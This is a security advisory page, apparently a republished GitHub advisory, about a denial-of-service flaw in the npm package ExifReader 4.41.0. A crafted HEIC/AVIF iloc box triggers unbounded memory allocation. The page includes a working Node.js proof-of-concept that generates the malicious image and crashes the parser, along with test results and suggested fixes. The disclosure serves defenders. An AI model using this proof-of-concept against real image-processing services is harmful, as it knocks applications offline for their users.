Alta

ExifReader: DoS via Crafted HEIC/AVIF iloc Box - Memory Exhaustion

  • Publicada: 17.09.2026
  • Actualizado: 11.10.2026 10:22

Summary

ExifReader 4.41.0 is vulnerable to denial of service through a crafted HEIC or AVIF file with a malicious iloc box. When offsetSize, lengthSize, and baseOffsetSize are set to zero in the iloc header, the extent-parsing loop allocates an unbounded number of JavaScript objects - up to itemCount × extentCount (65535 × 65535 = 4.3 billion) - without advancing the buffer offset. A 652-byte file causes 400MB of heap growth; a 6KB file exhausts all system memory and crashes the Node.js process with a JavaScript heap out-of-memory error.

Affected version tested

  • npm package: exifreader
  • Version: 4.41.0
  • Affected formats: HEIC, AVIF (ISO-BMFF container)

Root cause

File: src/image-header-iso-bmff-iloc.js, lines 79–116, function getItems().

The iloc parser reads four size fields from the file (each a 4-bit nibble, valid values 0–15):

Field Controls
offsetSize Bytes per extent offset
lengthSize Bytes per extent length
baseOffsetSize Bytes per item base offset
indexSize Bytes per extent index

The code then enters a nested loop: for each item (up to 65535), and for each extent within that item (up to 65535), it reads variable-width fields and advances the buffer offset by the corresponding size:

js
for (let j = 0; j < item.extentCount; j++) {
    const extent = {};
    extent.extentIndex = getExtentIndex(dataView, version, offset, indexSize);
    offset += sizes.item.extent.extentIndex;       // 0 when indexSize=0
    extent.extentOffset = getVariableSizedValue(dataView, offset, offsetSize);
    offset += sizes.item.extent.extentOffset;       // 0 when offsetSize=0
    extent.extentLength = getVariableSizedValue(dataView, offset, lengthSize);
    offset += sizes.item.extent.extentLength;       // 0 when lengthSize=0
    item.extents.push(extent);                      // allocates unconditionally
}

When all four size fields are zero (a valid value per the ISO-BMFF specification, meaning "field not present"), the buffer offset never advances inside the inner loop. Yet every iteration still pushes a new extensible object onto item.extents. There is no iteration cap, no cumulative allocation budget, and no guard that skips the inner loop when all sizes are zero.

Reproduction

Save the following as poc_iloc_dos.js and run with Node.js against the bundled dist/exif-reader.js:

js
const fs = require('fs');
const ExifReader = require('../ExifReader-4.41.0/dist/exif-reader.js');

function u32be(n) {
    return [(n >>> 24) & 255, (n >>> 16) & 255, (n >>> 8) & 255, n & 255];
}
function u16be(n) {
    return [(n >>> 8) & 255, n & 255];
}
function str(s) {
    return Array.from(Buffer.from(s, 'ascii'));
}
function box(type, content) {
    return [...u32be(8 + content.length), ...str(type), ...content];
}

const ITEMS = 10000;
const EXTENTS = 65535;

const ftyp = box('ftyp', [
    ...str('heic'),
    ...u32be(0),
    ...str('mif1'),
    0, 0, 0, 0,
]);

const ilocPayload = [
    0, 0, 0, 0,
    0, 0,
    ...u16be(ITEMS),
];

for (let i = 0; i < ITEMS; i++) {
    ilocPayload.push(...u16be(i + 1));
    ilocPayload.push(...u16be(0));
    ilocPayload.push(...u16be(EXTENTS));
}

const iloc = box('iloc', ilocPayload);
const meta = box('meta', [0, 0, 0, 0, ...iloc]);
const data = Uint8Array.from([...ftyp, ...meta]);

fs.writeFileSync('/tmp/poc_iloc_dos.heic', data);

console.log(`${data.length} bytes | ${ITEMS} items x ${EXTENTS} extents | ~${((ITEMS * EXTENTS * 80) / (1024 ** 3)).toFixed(0)} GB expected`);

const start = Date.now();
const timeout = setTimeout(() => {
    console.log(`[DoS CONFIRMED] Hung after ${((Date.now() - start) / 1000).toFixed(1)}s`);
    process.exit(1);
}, 30000);

try {
    ExifReader.load(data.buffer);
    clearTimeout(timeout);
    console.log(`Parse completed in ${((Date.now() - start) / 1000).toFixed(1)}s`);
} catch (e) {
    clearTimeout(timeout);
    console.log(`Error: ${e.message}`);
}

Scaled test results

Run the above with different ITEMS values:

Items File size Extent objects Parse time Heap growth
1 58 bytes 65,535 0.03s +4 MB
5 82 bytes 327,675 0.17s +16 MB
100 652 bytes 6,553,500 1.74s +401 MB
256 1,588 bytes 16,776,960 ~8s OOM crash
10000 60,052 bytes 655,350,000 - OOM crash (4 GB+)
<img width="1839" height="588" alt="image" src="https://github.com/user-attachments/assets/cc3bd540-4197-4ada-93c9-3397811a6c02" />

Expected behavior

A zero-size field is valid per the ISO-BMFF spec (it means the field is not present). The parser should either:

  1. Skip the inner extent loop when all extent field sizes are zero and no items need extent data, or
  2. Cap the number of extent objects allocated (e.g., a per-item or cumulative budget).

Security impact

This is a denial-of-service vulnerability. An unauthenticated attacker can craft a ~1 KB HEIC/AVIF image that, when parsed by ExifReader, causes a JavaScript heap out-of-memory crash, aborting the application process. Any web service, desktop application, or mobile app that processes user-uploaded HEIC/AVIF images through ExifReader is affected.

Note: The impact is established using ExifReader's existing distributed (dist/exif-reader.js) code.

Suggested fix

In src/image-header-iso-bmff-iloc.js, in the getItems() function, add a maximum per-item extent limit:

js
const MAX_EXTENTS_PER_ITEM = 10000;

for (let j = 0; j < item.extentCount; j++) {
    if (item.extents.length >= MAX_EXTENTS_PER_ITEM) {
        break;
    }
    // ... existing code ...
}

Alternatively (or additionally), skip the inner loop when all extent field sizes are zero:

js
if (sizes.item.extent.extentOffset === 0 && sizes.item.extent.extentLength === 0) {
    // Fields are absent per spec; nothing meaningful to read
    // Still advance offset if extentCount > 0 to maintain correctness
    continue;
}

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm exifreader < 4.41.1 4.41.1

Referencias

Puntuación CVSS 7.5/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Debilidad (CWE)
CWE-789, CWE-835
Plataforma
npm
Paquete
exifreader
Publicada
17.09.2026
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-pj96-35fp-cfcc - CC BY 4.0

Historial de vulnerabilidades: exifreader

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Entradas en total
4
Primera → última
05.2026 09.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Alta 2
  • Media 2

Divulgaciones por año

  1. 2026: 4
  1. ExifReader: DoS via Crafted HEIC/AVIF iloc Box - Memory Exhaustion esta entrada
    Alta · 7.5 CVE-2026-85715 < 4.41.1 4.41.1
  2. Alta · 7.5 CVE-2026-8813 >= 2.10.0, < 4.39.0 4.39.0

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.